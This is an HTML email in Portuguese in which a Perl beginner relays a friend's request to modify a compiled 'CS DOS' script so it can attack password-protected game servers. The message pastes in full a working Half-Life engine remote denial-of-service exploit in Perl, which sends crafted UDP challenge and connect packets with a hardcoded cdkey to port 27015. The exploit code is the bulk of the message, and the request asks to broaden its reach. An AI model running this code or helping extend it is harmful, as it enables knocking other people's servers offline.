<html>
<head>
<style>
.hmmessage P
{
margin:0px;
padding:0px
}
body.hmmessage
{
FONT-SIZE: 10pt;
FONT-FAMILY:Tahoma
}
</style>
</head>
<body class='hmmessage'>
Bom, eu ainda sou newbie to na página 200 do livro "Perl: Como programar",<br>gostaria que vocês pudessem ajudar<br>Um amigo me pediu pra ajudar ele em um forum só que eu ainda não tenho o conhecimento necessário<br>vou por aqui o que ele pois la;<br>Obrigado<br>"<br>Tenho um script de CS DOS em Perl e compilei ele para .exe.<br>Segue o código abaixo. <br>Estou tentando modificá-lo para que se conecte a servers com senha.<br> <br>A sintaxe do atalho para o exe é a seguinte <div class="codetitle"><b>Código:</b></div><div class="codecontent">C:\Documents and Settings\Administrador\Desktop\dos.exe" ip_do_server:porta<br>Alguém poderia me ajudar a modificar este script para conexão c/ senha?
Lembrando que para conectar-se em um servidor c/ senha através do
console é <div class="codetitle"><b>Código:</b></div><div class="codecontent">password senha; connect ip:porta</div><br><br>Obrigado! <img src="http://www.forum-invaders.com.br/phpBB/images/smilies/icon_wink.gif" alt=":wink:" title="Wink"> <br><br><div class="codetitle"><b>Código:</b></div><div class="codecontent">#!/usr/bin/perl<br># Server must not be running steam. /str0ke<br><br><br># Half-Life engine remote DoS exploit<br># bug found by Firestorm<br># tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux<br>dedicated server<br>use IO::Socket;<br>die "usage: ./csdos <host>" unless $ARGV[0];<br>$host=$ARGV[0];<br><br>if (fork())<br>{ econnect($host); }<br>else<br>{ econnect($host); };<br>exit;<br><br>sub econnect($)<br>{<br> my $host=$_[0];<br> my $sock = new<br>IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');<br> die "Could not create socket: $!\n" unless $sock;<br> $cmd="\xff\xff\xff\xff";<br> syswrite $sock, $cmd."getchallenge";<br><br> sysread $sock,$b,65535; print $b,"\n";<br> @c=split(/ /,$b);<br><br> $c2=$c[1];<br><br> $q=$cmd."connect 47 $c2<br>\"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"\"\\\"\0\0";<br>print '>',$q,"\n";<br>syswrite $sock, $q;<br>sysread $sock,$b,65535; print $b,"\n";<br>sleep 3;<br>close $sock;<br>} "<br></div><br></div><br /><hr />Instale a Barra de Ferramentas com Desktop Search e ganhe EMOTICONS para o Messenger! <a href='http://www.msn.com.br/emoticonpack' target='_new'>É GRÁTIS!</a></body>
</html>